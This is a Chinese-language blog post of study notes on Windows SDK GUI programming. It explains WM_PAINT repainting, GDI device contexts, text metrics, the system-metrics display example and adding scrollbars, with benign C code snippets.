dustland

dustball in dustland

windows SDK chapter 4 设备无关代码

绘制和重绘

为什么需要重绘?

在控制台编程时,输出均以纯文本打印到终端,终端会永远保存输出,自然不需要重绘

但是窗口编程的时候,一个窗口可能被移动到屏幕边界之外或者被其他窗口遮盖,此时这个窗口上的文字就消失了,

系统不会一直记着(操作系统有可能临时记住)窗口上画过什么,在哪里画的.当用户再次将这个窗口置于顶层的时候,操作系统就要求程序,将刚才抹去的文字重新打印.这个过程当然也是在消息循环中处理的.

操作系统怎么发出重绘的要求呢?

使用WM_PAINT消息

WM_PAINT

操作系统什么时候会发出这个WM_PAINT要求呢?

用户移动窗口,导致原来被遮盖的部分暴露,或者关闭了覆盖该窗口的对话框

用户调整窗口大小

滚动条滚动

程序自己显式调用InvalidateRect或者InvalidateRgn,生成WM_PAINT消息

下拉菜单后收回

只要是程序需要更新客户区的时候,应该自动或者强制发出WM_PAINT消息,绕一个弯集中从事件函数中处理

操作系统不能记住被覆盖的部分吗?

少数情况下可以,比如鼠标指针造成的小面积覆盖或者在客户区内拖动图表

有效矩形和无效矩形

需要重新绘制的部分成为无效矩形

什么部分需要重新绘制?先前被遮盖现在需要至于顶层的窗口部分,或者先前移出屏幕现在移入屏幕的部分

windows操作系统会为每个打开的窗口维护一个数据结构,该数据结构用来记录该窗口的最小无效区域范围,如果在该窗口重绘之前,在其上又有新的无效矩形则windows取所有无效区域的最小覆盖.如果原来该窗口进程的消息队列中没有有WM_PAINT消息,则发送一条该消息.如果已经有过WM_PAINT则只需要更新操作系统维护的数据结构

什么数据结构?目前未知,需要学习核心编程后获得原理

立刻重绘

各种WM消息是有优先级之分的

WM_PAINT重绘消息的优先级就比较低,WM_VSCROLL垂直滚动条消息就比较高

即使消息队列中已经存在了WM_PAINT消息,后来加入一个WM_VSCROLL消息,这个WM_VSCROLL消息也会先被处理.如此优先队列有个好处是,WM_PAINT消息只会存在一条,多次改变之后重绘和每次改变后的重绘,对于人类来说几乎观察不出来,因此WM_PAINT不需要太多

这就有可能导致,程序一直在忙活高优先级的消息处理,WM_PAINT这个消息一直不处理,比如一个有上亿行的数据库,不停拖动滚动条改变垂直视角的时候程序可能一直忙于处理WM_VSCROLL.那么我们看到的窗口就会迟滞.

但是有那种关系户性质的WM_PAINT消息,它不用排队等待被处理,而是被操作系统亲自安排给程序"给我立刻处理WM_PAINT"

调用UpdateWindow(hwnd)函数即可做到这一点

如果调用UpdateWindow函数时,整个客户区都是有效的,那么调用了一个寂寞

否则,即客户区存在无效矩形,UpdateWindow让窗口立刻收到WM_PAINT,由windows操作系统调用窗口过程WndProc函数

当WM_PAINT处理完后,UpdateWindow将控制还给调用者

这就解释了为啥在主函数创建窗口实例,ShowWindow之后,进入消息循环之前,有一次UpdateWindow

1
2
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);

即使这里不写UpdateWindow(hwnd),通常也能立刻显式窗口.但是就怕WM_PAINT一直排队的情况

GDI

graphics device interface,图形设备接口,负责系统与绘图程序的信息交换

图形设备,如打印机,屏幕

GDI负责封装硬件设备,并且向上层提供接口,在代码层面如果需要和图形设备交互,只需要调用接口.

类似于系统调用接口,GDI也允许程序直接访问物理硬件,只能通过"设备环境"抽象接口访问硬件

举一个GDI的例子

1
2
WINGDIAPI WINBOOL WINAPI TextOutA(HDC hdc,int x,int y,LPCSTR lpString,int c);
WINGDIAPI WINBOOL WINAPI TextOutW(HDC hdc,int x,int y,LPCWSTR lpString,int c);

TextOut函数的作用是向窗口客户区输出一个字符串,

参数 意义
hdc 设备环境句柄,几乎所有的GDI函数都以hdc作为第一个参数
x 开始绘制的客户区相对横坐标
y --纵坐标
lpString 需要输出到客户区的字符串
c lpString的长度

设备环境

设备环境DC是内核维护的数据结构

一个设备环境与一个特定你的显式设备相关联

设备环境的属性包括文本颜色,文本背景色,字体等等

GDI函数可以根据相对于设备环境分成两类,一类是使用HDC真正绘图的函数,另一类是修改HDC的函数

如果以在纸上画画类比的话,

设备环境就相当于图纸,画笔,图纸下面的桌子,灯光,以及谁来画(决定字体)

真正输出的内容相当于这个特定的人主观画出的东西

设备环境是一个大结构体,怎么引用他呢?使用指针?不是,使用HDC类型的句柄.

实际上这个句柄也是一个整数,可能是内核维护的设备环境表的下标,反正一个设备环境对应唯一的一个编号,作为句柄索引该设备环境

获取设备环境句柄

BeginPaint/EndPaint

这一对只应用于处理WM_PAINT消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  PAINTSTRUCT ps;
RECT rect;
HDC hdc;
static TCHAR szBuffer[128] = TEXT("default");
switch (message)
{
...
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);//获取设备环境hdc,并且第二个参数ps中也有相同的hdc
GetClientRect(hwnd, &rect);//获取当前客户区矩形范围,通过第二个参数返回
DrawText(hdc, szBuffer, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER);
//使用hdc设备环境,向rect矩形范围内绘制一个单行上下左右都居中的字符串"default"
EndPaint(hwnd, &ps);//释放ps中保存的hdc(也就是BeginPaint创建的hdc)
return 0;
...
}
1
2
3
4
5
6
7
8
9
HDC BeginPaint(
[in] HWND hWnd, //窗口实例句柄
[out] LPPAINTSTRUCT lpPaint //
);

BOOL EndPaint(
[in] HWND hWnd,
[in] const LPPAINTSTRUCT lpPaint
);

两个函数的第一个参数均为HWND窗口句柄

hwnd是啥?

1
2
3
4
5
6
7
8
9
10
11
12
13
hwnd = CreateWindow(classType1,
TEXT("first class first instance"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL);
ShowWindow(hwnd, iCmdShow);

窗口实例的句柄

第二个参数均为LPPAINTSTRUCT类型

struct PAINTSTRUCT

1
2
3
4
5
6
7
8
typedef struct tagPAINTSTRUCT {
HDC hdc; //设备环境句柄
WINBOOL fErase; //表明背景是否应该被擦除,0为是
RECT rcPaint; //指明需要绘制的矩形区域
WINBOOL fRestore; //尚未使用,保留
WINBOOL fIncUpdate; //尚未使用
BYTE rgbReserved[32]; //尚未使用
} PAINTSTRUCT,*PPAINTSTRUCT,*NPPAINTSTRUCT,*LPPAINTSTRUCT;

第一个成员就是hdc,这和BeginPaint返回的hdc是同一个值,实际上相当于BeginPaint以通过引用返回了一个包含ps的结构体,然后又单独通过返回值返回了hdc句柄.多此一举,只是为了用起来方便

第二个成员表明Windows在返回该结构体的BeginPaint中,是否擦除了无效区域背景,如果擦除了则fErase=0.默认情况下是会自动擦除的.自定以擦除过程可以处理WM_ERASEBKGND消息

注册窗口类WNDCLASS时指定了一个画刷wndclass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH),windows将会使用这里指定的画刷擦除无效背景

第三个参数rcPaint定义了无效矩形边界,以像素为单位,相对于客户区左上角的距离

image-20220807094042735

该矩形区域就是需要重绘的区域,也就是调用BeginPaint之后重绘的区域

BeginPaint如果调用成功则返回HDC句

EndPaint释放一个HDC句柄,调用成功则返回TRUE

绘图GDI函数的调用要夹在两个函数之间

如果只写这两个函数

1
2
3
  	PAINTSTRUCT ps;        
hdc = BeginPaint(hwnd, &ps);//获取设备环境hdc,并且第二个参数ps中也有相同的hdc
EndPaint(hwnd, &ps);//释放ps中保存的hdc(也就是BeginPaint创建的hdc)

BeginPaint只会重绘无效矩形部分,也就是第二个参数ps中rcPaint指定的矩形

考虑到客户区有可能是一个圆形或者其他非矩形形状,一般不管三七二十一将整个客户区重绘一遍.

这就需要先调用InvalidateRect使得整个客户区失效,然后再调用BeingPaint重绘

1
2
3
4
5
BOOL InvalidateRect(
[in] HWND hWnd,
[in] const RECT *lpRect,
[in] BOOL bErase
);

第一个参数是窗口句柄

第二个参数是需要无效化的矩形范围,如果是NULL则表示整个客户区

第三个参数决定BeginPaint是否擦除原背景,当bErase=TRUE则擦除原有背景.否则不擦除

GetDC/ReleaseDC

处理非WM_PAINT消息时,如果需要绘制客户区,就要调用这一对.

或者只是需要设备环境信息,不需要绘图时,可以调用这一对.

1
2
3
4
5
6
7
8
HDC GetDC(
[in] HWND hWnd //窗口实例句柄
);

int ReleaseDC(
[in] HWND hWnd,
[in] HDC hDC //需要释放的hDC句柄,一定是最近的GetDC获取的那个句柄,两个函数配套使用
);

两个函数的使用一定是在处理同一条消息时配对完成的

GetDC返回的设备句柄可以在整个客户区绘制,但是BeginPaint只允许在失效矩形绘制

GetDC不会将无效矩形有效化.如有需要,显式调用ValidateRect(hwnd,rect),当rect为NULL则表示整个客户区

GetWindowDC/ReleaseWindowDC

GetDC绘制的只有客户区,对于窗口标题栏这种非客户区无能为力

GetWindowDC则可以绘制包括客户区,非客户区在内该窗口的所有区域

相应的消息是WM_NCPAINT

GDI绘制函数

TEXTOUT

1
2
3
4
5
6
7
BOOL TextOutA(
[in] HDC hdc,//GetDC或者BeginPaint返回的hdc句柄
[in] int x,//输出在客户区的起始水平位置
[in] int y,
[in] LPCSTR lpString,//需要输出的字符串
[in] int c//输出字符串长度
);

关于x,y坐标

image-20220807101513222
GetTextMatrics获取字体尺寸

系统字体取决于分辨率和字号大小,不能假设字体大小,而是调用函数获取信息,编写设备无关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  typedef struct tagTEXTMETRICA {
LONG tmHeight;//字体总高度
LONG tmAscent;//字体基线以上高度
LONG tmDescent;//字体基线以下高度
LONG tmInternalLeading;//字体重音符号高度
LONG tmExternalLeading;//行间距
LONG tmAveCharWidth;//消息字符加权宽度
LONG tmMaxCharWidth;//最宽字符宽度
LONG tmWeight;//字体粗细
LONG tmOverhang;//为字符串加粗或者斜体额外宽度
LONG tmDigitizedAspectX;
LONG tmDigitizedAspectY;
BYTE tmFirstChar;该字体第一个字符的编号
BYTE tmLastChar;
BYTE tmDefaultChar;
BYTE tmBreakChar;
BYTE tmItalic;
BYTE tmUnderlined;
BYTE tmStruckOut;
BYTE tmPitchAndFamily;//决定字体是否是等宽字体,最低位为1则变宽,为0则等宽
BYTE tmCharSet;
} TEXTMETRICA,*PTEXTMETRICA,*NPTEXTMETRICA,*LPTEXTMETRICA;

BOOL GetTextMetricsW(
[in] HDC hdc,
[out] LPTEXTMETRICW lptm
);

GetTextMetricsW第一个参数是一个hdc设备环境句柄,该函数就是返回该hdc设备环境中的字体属性

第二个参数是一个TEXTMETRICA类型的引用,用来承载返回值

该结构体类型有20个成员,成员意义:

image-20220807102446433
文本格式化

GetTextMetrics应该什么时候调用呢?

windows运行时,系统字体不会改变,因此GetTextMetircs只需要调用一次,保存下字体属性,一劳永逸

那么啥时候办这个"一劳"呢?在处理WM_CREATE消息时.

为啥在这个时候?WM_CREATE一定是窗口收到的第一条消息,此时窗口还没有输出到桌面,文字都还没打印.机不可失

1
2
3
4
5
6
7
8
9
10
11
hwnd = CreateWindow(classType1,
TEXT("first class first instance"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL);

在创建窗口实例时就会发送WM_CREATE消息

举个例子,假如要打印多行字符,需要设置好字间距和行间距

字间距好说,就是tmAveCharWidth

行间距(这里的行间距指的是上一行字体的顶和下一行字体的顶的距离,包括纯空白的高度)麻烦点,需要tmHeight+tmExternalLeading

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{

HDC hdc;//设备环境句柄
PAINTSTRUCT ps;
RECT rect;
TEXTMETRICA tm;//字体属性结构
static int cxChar,cyChar;
static TCHAR szBuffer[128] = TEXT("default");
switch (message)
{
case WM_CREATE:

hdc=GetDC(hwnd);
GetTextMetrics(hdc,&tm);//获取当前系统字体属性,用tm承载
cxChar=tm.tmAveCharWidth;//cxChar为平均小写字母宽度
cyChar=tm.tmHeight+tm.tmExternalLeading;//cyChar为字体高度加上一个行间距
ReleaseDC(hwnd,hdc);
return 0;
case ...
return DefWindowProc(hwnd, message, wParam, lParam);
}
}
wsprintf格式化字符串

不管是TextOut还是DrawText,决定往屏幕输出的参数都是字符串类型,不能是结构体或者整数或者浮点数

想要类似使用cout<<5这种直接打印整数到窗口是不可能的

那么怎么打印整数呢?用wsprintf先把要打印的所有东西,格式化到一个字符中,然后输出这个字符串

比如统计鼠标左键在客户区按下的次数

1
2
3
4
5
6
7
8
9
10
case WM_LBUTTONDOWN:
static int cLBUTTONDOWN;//铁打的静态变量只会定义一次
++cLBUTTONDOWN;
TCHAR szBuffer[100];//流水的局部变量
wsprintf(szBuffer,TEXT("this is the %d time you click the left button"),cLBUTTONDOWN);//格式化字符串到szBuffer
hdc = GetDC(hwnd);
GetClientRect(hwnd, &rect);
DrawText(hdc, szBuffer, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER);
ReleaseDC(hwnd, hdc);
return 0;
image-20220807110305547

每次按下鼠标左键都会更新cLBUTTONDOWN这个统计数字

显式多行

windows32编程上给出的例子是打印SystemMetrics所有的系统参数

效果如图

image-20220807145300545

已经有一个窗口程序的雏形了

使用GetSystemMetrics获取系统参数

1
2
3
int GetSystemMetrics(
[in] int nIndex
);

该函数使用一个下标作为参数,意思是查询SystemMetrics表的第nIndex个元素

这个表啥样呢?

Value Meaning
SM_ARRANGE56 The flags that specify how the system arranged minimized windows. For more information, see the Remarks section in this topic.
SM_CLEANBOOT67 The value that specifies how the system is started:0 Normal boot1 Fail-safe boot2 Fail-safe with network bootA fail-safe boot (also called SafeBoot, Safe Mode, or Clean Boot) bypasses the user startup files.
SM_CMONITORS80 The number of display monitors on a desktop. For more information, see the Remarks section in this topic.
.... ...

Value为枚举类型的下标,从0开始编号,微软给出的文档并没有按照Value递增的顺序,而是按照枚举值字符串的字典序递增排列的SM_ARRANGE<SM_CLEANBOOT

为了方便观察,书上先建立了一个头文件sysmets.h,里面只有一个结构体数组struct sysmetrics[],每个结构体数组有三项,下标,枚举值字符串,意义.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct
{
int Index;
const TCHAR* szLabel;//此处需要用const修饰字符串常量,否则在virsual studio上会报告指针指向常量的错误
const TCHAR* szDesc;
}sysmetrics[] =
{
SM_CXSCREEN, //初始化本结构体数组第一个元素的第一个成员
TEXT("SM_CXSCREEN"),//sysmetrics[0].szLabel=TEXT("SM_CXSCREEN");
TEXT("Screen width in pixels"),//初始化本结构体数组第一个元素的第三个成员szDesc

SM_CYSCREEN, TEXT("SM_CYSCREEN"),
TEXT("Screen height in pixels"),

...
}

GetSystemMetrics(Index)将会和systemtrics[Index]配套使用

然后主程序包含该头文件,相当于直接在主程序中定义了这么一个结构体数组

这个数组还有GetSystemMetrics函数在啥时候发挥的作用呢?

在WndProc消息处理函数中,下面炎鸠以下这个回调函数干了啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static int cxChar, cxCaps, cyChar;//静态的小写,大写字体宽度,行间距
HDC hdc;//设备环境句柄
int i;//遍历sysmetrics数组时使用的循环变量i
PAINTSTRUCT ps;//
TCHAR szBuffer[10];//缓冲区,用于整合一行需要打印的字符
TEXTMETRIC tm;//字体属性结构体,用于承载GetTextMetrics返回值
switch (message)
{
case WM_CREATE:
hdc = GetDC(hwnd);
GetTextMetrics(hdc, &tm);//tm获取当前字体属性
cxChar = tm.tmAveCharWidth;//获取小写字体宽度
cxCaps = (tm.tmPitchAndFamily & 1 ? 3 : 2) * cxChar / 2;
//获取大写字体宽度,变宽字体中,该值应该为小写字体宽度的1.5倍,等宽字体中大小写字母的宽度应该一样
//由于的最低为是等宽变宽标志,因此与1按位与之后的结果,
//如果为1说明字体变宽,cxCaps先等于三倍的cxChar然后除以2就是1.5倍的小写字母宽度
cyChar = tm.tmHeight + tm.tmExternalLeading;//行间距,上一行字的本行字顶的距离
ReleaseDC(hwnd, hdc);//释放设备环境
return 0;
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);//重绘无效区,获得设备环境句柄
for (i = 0; i < NUMLINES; i++)//SystemMetrics有NUMLINES项,因此下标遍历0到NUMLINES
{
//每行打印三项,枚举类型字符串,意义,参数值
TextOut(hdc, 0, cyChar * i,//第二个参数中cyChar就起了作用,规定在哪里开始绘制,因为前面i行都已经绘制完毕,因此本行应该在第i+1行位置绘制
sysmetrics[i].szLabel,
lstrlen(sysmetrics[i].szLabel));
TextOut(hdc, 22 * cxCaps, cyChar * i,//x坐标也有意义了,因为szLabel已经占用了从x=0开始的一些字节,因此szDesc从x=22开始绘制
sysmetrics[i].szDesc,
lstrlen(sysmetrics[i].szDesc));
SetTextAlign(hdc, TA_RIGHT | TA_TOP);//设置文本右上角对齐,作用于hdc指向的设备环境
TextOut(hdc, 22 * cxCaps + 40 * cxChar, cyChar * i, szBuffer,
wsprintf(szBuffer, TEXT("%5d"),

GetSystemMetrics(sysmetrics[i].Index)));//此处压行了,szBuffer的构造放在了最后一个参数的求值中
SetTextAlign(hdc, TA_LEFT | TA_TOP);//设置回左对齐,好借好还,再借不难
}
EndPaint(hwnd, &ps);//结束绘制,释放ps中的hdc设备环境
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

打印不开问题

由于心胸狭隘

如果电脑屏幕比较小,那么可以显式的行数就少,可能一个屏幕没法全部打印出来.甚至屏幕窄了一行都显式不全,比如:

image-20220807161039836

这是因为本程序没有考虑客户区的大小,它只管打印它的,不管人能不能看见

怎么获取客户区的大小呢?

GetClientRect
1
2
3
4
BOOL GetClientRect(
[in] HWND hWnd,
[out] LPRECT lpRect
);

第一个参数是设备环境句柄

第二个参数是返回值,用一个RECT结构体引用承载当前客户区信息

这个结构体啥样呢?

1
2
3
4
5
6
typedef struct tagRECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT, *NPRECT, *LPRECT;

GetClientRect返回的矩形中,左和上坐标都是0,即以客户区的左上角为基准

右和下坐标是实际大小(像素)

处理WM_SIZE消息

更好的方法是处理WM_SIZE消息

每当窗口大小发生变化(位置变化不算),Windows就会向窗口过程发送一条WM_SIZE消息,此时传递给WndProc处理函数的lParam参数就有实际意义了,高16位是新的窗口高度,低16位是新的窗口宽度,可以使用两个静态变量来承载保存这个两个值,静态的好处是只会定义一次,那么在本次处理WM_SIZE消息时修改这两个值,就可以在处理下一条消息比如WM_PAINT时使用刚才保存的值

1
2
3
4
5
6
7
8
9
10
11
12
WndProc(...):
static int cxClient, cyClient;
...
switch (message) {
case ...
case WM_SIZE:
cxClient = LOWORD(lParam);
cyClient = HIWORD(lParam);

return 0;
case ...
}

其中LOWORD和HIWORD是定义在WINDEF.H中的两个宏

1
2
3
4
#define LOWORD(l)           ((WORD)(((DWORD_PTR)(l)) & 0xffff))
#define HIWORD(l) ((WORD)((((DWORD_PTR)(l)) >> 16) & 0xffff))
#define LOBYTE(w) ((BYTE)(((DWORD_PTR)(w)) & 0xff))
#define HIBYTE(w) ((BYTE)((((DWORD_PTR)(w)) >> 8) & 0xff))

LOWORD(l)就是不管l啥类型,对l取双字然后和0xFFFF全一的字按位与,即保留低字

在处理WM_SIZE消息时只负责计算出新的客户区宽高,重绘它是一点儿也不用管,因为一般WM_SIZE消息之后会有一个WM_PAINT消息接踵而至,重绘的工作在WM_PAINT中完成

这样看一切都合理了,处理WM_SIZE相当于为处理WM_PAINT预处理,计算客户区大小

但是窗口第一次显式出来的时候呢?WM_SIZE不是说得在窗口大小发生变化时才会收到吗?

事实上WM_CREATE之后不会立刻传递WM_PAINT进行绘制,而是会先传递WM_SIZE,可以理解为窗口从无到有也包含了客户区的尺寸变化

这样改进之后的WM_PAINT处理过程:

1
2
3
4
5
6
7
8
9
MAXLINES = cyClient / cyChar;
for (i = 0; i < min(NUMLINES,MAXLINES); ++i) {
TextOut(hdc, 10, i * cyChar, sysmetrics[i].szLabel,lstrlen(sysmetrics[i].szLabel));
TextOut(hdc, 40 * cxCaps, i * cyChar, sysmetrics[i].szDesc, lstrlen(sysmetrics[i].szDesc));
wsprintf(szBuffer, TEXT("%5d"), GetSystemMetrics(sysmetrics[i].Index));
SetTextAlign(hdc, TA_LEFT);
TextOut(hdc, 80 * cxCaps, i * cyChar, szBuffer, lstrlen(szBuffer));
SetTextAlign(hdc, TA_LEFT);
}

首先MAXLINES计算得到当前客户区最大能够容纳的完整行数,然后下面打印的时候取现有行数和能够打印的最大完整行数最小值.

这样就不会在客户区最底下打印出短斤少两的半行了

image-20220807165837263

但是这样没有解决不能显式完全的问题,甚至说只能解决边界上的显式好不好看问题,真是吹毛求疵

要用有限的屏幕空间浏览长于一个屏幕的信息,最好的方法就是添加一个滚动条,拖到下面看下面,拖到上面看上面,

比如任务管理器的滚动条

image-20220807170100222

滚动条

滚动条的效果就类似拿着放大镜看一个巨大的报纸,但是放大镜固定不动,动的是报纸

下滑滚动条就是报纸往彼方移动,相当于放大镜往己方移动

与其说是放大镜,不如说是一张扣了个方框的不透明纸压在报纸上,透过这个方框看报纸

添加滚动条

滚动条属于窗口实例的风格,只需要在实例化窗口对象的时候往窗口对象风格标识符上按位与上滚动条特性WS_VSCROLL|WS_HSCROLL垂直滚动条|水平滚动条

比如:

1
2
3
4
5
hwnd = CreateWindow(szAppName, TEXT("Get System Metrics No. 1"),
WS_OVERLAPPEDWINDOW| WS_VSCROLL | WS_HSCROLL,//此处加入滚动条属性
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL);

之后的效果如图:

image-20220807171154754

确实窗口右侧和下方都出现了滚动条

但是这时候拖动滚动条是没有效果的,它只是个摆设

Windows操作系统负责处理滚动条上的鼠标动作,但是不负责键盘接口.如果想要通过键盘控制滚动条,需要显式给出对应关系,但这是后话,目前的任务是给滚动条加上管理范围,让它不是摆设

Windows操作系统和应用程序

位置和范围

范围是一对整数,表明滚动条的最小值和最大值

位置是滑块实时在这个范围中的值,位置永远属于是范围这个整数集合

默认滚动条的范围是[0,100)

范围

可以调用setScrollRange修改其范围

1
2
3
4
5
6
7
BOOL SetScrollRange(
[in] HWND hWnd,
[in] int nBar,
[in] int nMinPos,
[in] int nMaxPos,
[in] BOOL bRedraw
);
参数 意义
hwnd 窗口实例的句柄
nBar 标志滚动条的类型,是水平还是垂直
nMinPos 滚动条最小范围
nMaxPos 滚动条最大范围
bRedraw 规定是否重绘滚动条,可以在下一次显示前,所有对滚动条的修改完成之后,再规定为TRUE表明重绘
设置滚动条范围

当滚动条范围是[0,NUMLINES-1],当滑块位置是0,此时第一条文本显示在客户区最上方,下面顺次是第2条文本,第3条...这样是合理的

当滑块位置是NUMLINES-1,此时最后一条文本显示在客户区最上方,下面全都是空白.显然着这不合理.

怎么样让滑块最远到达的位置,使得最后一条文本显示 在客户区的最下方?

假设客户区大小100,需要打印1000行,当滑块在0时可以显示第1到100行,当滑块在1时可以显示第2到101行,当滑块在900时,可以显示第901到1000行

因此只需要NUMLINES-cyClient就可以实现

啥时候更新滚动条范围呢?NUMLINES是一个常数,cyClient客户区垂直行数是一个变量,因此滚动条范围上界可以跟随cyClient变化

都在处理WM_SIZE时修改

1
2
3
4
5
6
case WM_SIZE:
cxClient = LOWORD(lParam);
cyClient = HIWORD(lParam);
iVscrollMax = max(0, NUMLINES - cyClient / cyChar);//非负
SetScrollRange(hwnd, SB_VERT, 0, iVscrollMax, TRUE);//修改范围
return 0;

位置

滑块的位置是一个整数,比如当滚动条范围是[0,1024)

那么滑块的位置就有0,1,2,...,1022,1023,总共1024种情况

必须使用SetScrollPos函数修改滑块的位置

1
int SetScrollPos(HWN hWnd,int nBar,int nPos,BOOL bRedraw);
参数 意义
hwnd 窗口实例的句柄
nBar 标志滚动条的类型,是水平还是垂直
nPos 滑块新位置,该值需要介于滚动条的范围内
bRedraw 规定是否重绘滚动条,同SetScrollRange中的bRedraw参数

程序和windows操作系统合作处理滚动条上的动作

windows操作系统:

处理滚动条中的所有鼠标信息,

当鼠标拖动滑块的时候高亮

当用户拖动滑块的时候,在滚动条内移动滑块

向拥有滚动条的窗口过程发送滚动条消息

程序:

初始化滚动条的范围和位置

处理传送给窗口过程的滚动条信息

更新滑块的位置

根据滚动条的变化更新客户区的内容

处理滚动条消息

单击滚动条或者拖动滑块会导致windows向窗口过程发送WM_VSCROLL或者WM_HSCROLL消息

此时wParam和lParam参数就有实际意义了.其中lParam用于滚动条是子窗口.wParam用于滚动条是窗口的一部分,目前只使用wParam就足够了

wParam是一个无符号32位双字

1
2
typedef _W64 unsigned int UINT_PTR, *PUINT_PTR;
typedef UINT_PTR WPARAM;

其低位字代表了鼠标在滚动条的动作,又称为"通知码",低位字的枚举值在winuser.h中有定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define SB_LINEUP 0
#define SB_LINELEFT 0
#define SB_LINEDOWN 1
#define SB_LINERIGHT 1
#define SB_PAGEUP 2
#define SB_PAGELEFT 2
#define SB_PAGEDOWN 3
#define SB_PAGERIGHT 3
#define SB_THUMBPOSITION 4
#define SB_THUMBTRACK 5
#define SB_TOP 6
#define SB_LEFT 6
#define SB_BOTTOM 7
#define SB_RIGHT 7
#define SB_ENDSCROLL 8

各个枚举值的对应效果

image-20220808081546006

wParam的高位字表示滑块位置

使用滚动条

加入滚动条处理的WndProc函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {


static int iVscrollPos;//记录滑块位置
static int cxChar, cxCaps, cyChar;
static int cxClient, cyClient;
TEXTMETRIC tm;
HDC hdc;
PAINTSTRUCT ps;
int i,y;
TCHAR szBuffer[10];
RECT rect;

switch (message) {
case WM_CREATE:
hdc = GetDC(hwnd);
GetTextMetrics(hdc, &tm);
cxChar = tm.tmAveCharWidth;
cxCaps = cxChar;
if (tm.tmPitchAndFamily & 1) {
cxCaps = cxChar * 3 / 2;
}
cyChar = tm.tmHeight + tm.tmExternalLeading;

ReleaseDC(hwnd, hdc);
return 0;
case WM_SIZE:
cxClient = LOWORD(lParam);
cyClient = HIWORD(lParam);

return 0;

case WM_VSCROLL:
switch (LOWORD(wParam)) {
case SB_LINEUP://点击滚动条顶端的箭头导致滑块垂直位置上移一个单元
iVscrollPos -= 1;
break;
case SB_LINEDOWN:
iVscrollPos += 1;
break;
case SB_PAGEUP://点击滑块的滑道导致滑块垂直位移一页
iVscrollPos -= cyClient / cyChar;
break;
case SB_PAGEDOWN:
iVscrollPos += cyClient / cyChar;
break;
case SB_THUMBPOSITION://拖动滑块,其位置应该由wParam的高位字决定
iVscrollPos = HIWORD(wParam);
break;
default:
break;
}
iVscrollPos = max(0, min(iVscrollPos, NUMLINES - 1));//iVscrollPos不允许小于0,不允许比NUMLINES行大
if (iVscrollPos != GetScrollPos(hwnd, SB_VERT)) {//测试一下本次滚动之后和上一次的位置是否相同,相同则不做修改
SetScrollPos(hwnd, SB_VERT, iVscrollPos, TRUE);
InvalidateRect(hwnd, NULL, TRUE);//本次滚动条动作处理完毕,整个窗口无效化,强制产生WM_PAINT消息,进行重绘处理
}
return 0;

case WM_PAINT:
hdc = BeginPaint(hwnd,&ps);
for (i = 0; i < NUMLINES; ++i) {//i最大不能超过现有行数
y = cyChar * (i - iVscrollPos);//原来的第i行应该在客户区的第i-iVescrollPos行打印
TextOut(hdc, 10, y, sysmetrics[i].szLabel,lstrlen(sysmetrics[i].szLabel));
TextOut(hdc, 40 * cxCaps, y, sysmetrics[i].szDesc, lstrlen(sysmetrics[i].szDesc));
wsprintf(szBuffer, TEXT("%5d"), GetSystemMetrics(sysmetrics[i].Index));
SetTextAlign(hdc, TA_LEFT);
TextOut(hdc, 80 * cxCaps, y, szBuffer, lstrlen(szBuffer));
SetTextAlign(hdc, TA_LEFT);
}
EndPaint(hwnd, &ps);

return 0;
case WM_LBUTTONDOWN:
GetClientRect(hwnd, &rect);
wsprintf(szBuffer, TEXT("%d"),cxClient);
MessageBox(NULL, szBuffer,TEXT("notice"), NULL);

return 0;


case WM_DESTROY:
PostQuitMessage(0);
return 0;

}
return DefWindowProc(hwnd, message, wParam, lParam);
}

关于绘图时的处理y = cyChar * (i - iVscrollPos);实际上干了一个将第i条作为客户区的第i-iVscrollPos行打印

image-20220808084718857

立刻重绘

处理WM_VSCROLL时并没有立刻重绘客户区,而是调用InvalidateRect将这个皮球踢到下一次消息处理,WM_PAINT的处理.

WM_PAINT这个消息的优先级最低,当窗口过程的消息队列中有多种消息(比如多种对窗口有改动的消息)时,会首先处理其他消息,最后才会处理WM_PAINT消息.

这就好比市领导要求某中学视察,苦逼老师们提前一周就得造假材料,补完教案.等这一些都忙活完了,到领导视察当天,把所有材料一汇总,呈递给领导审阅

造材料就相当于处理其他消息

处理WM_PAINT就是呈递的临门一脚

如果要让WM_PAINT立刻被处理,需要在InvalidateRect之后立刻UpdateWindow

1
2
3
4
5
if (iVscrollPos != GetScrollPos(hwnd, SB_VERT)) {
SetScrollPos(hwnd, SB_VERT, iVscrollPos, TRUE);
InvalidateRect(hwnd, NULL, TRUE);
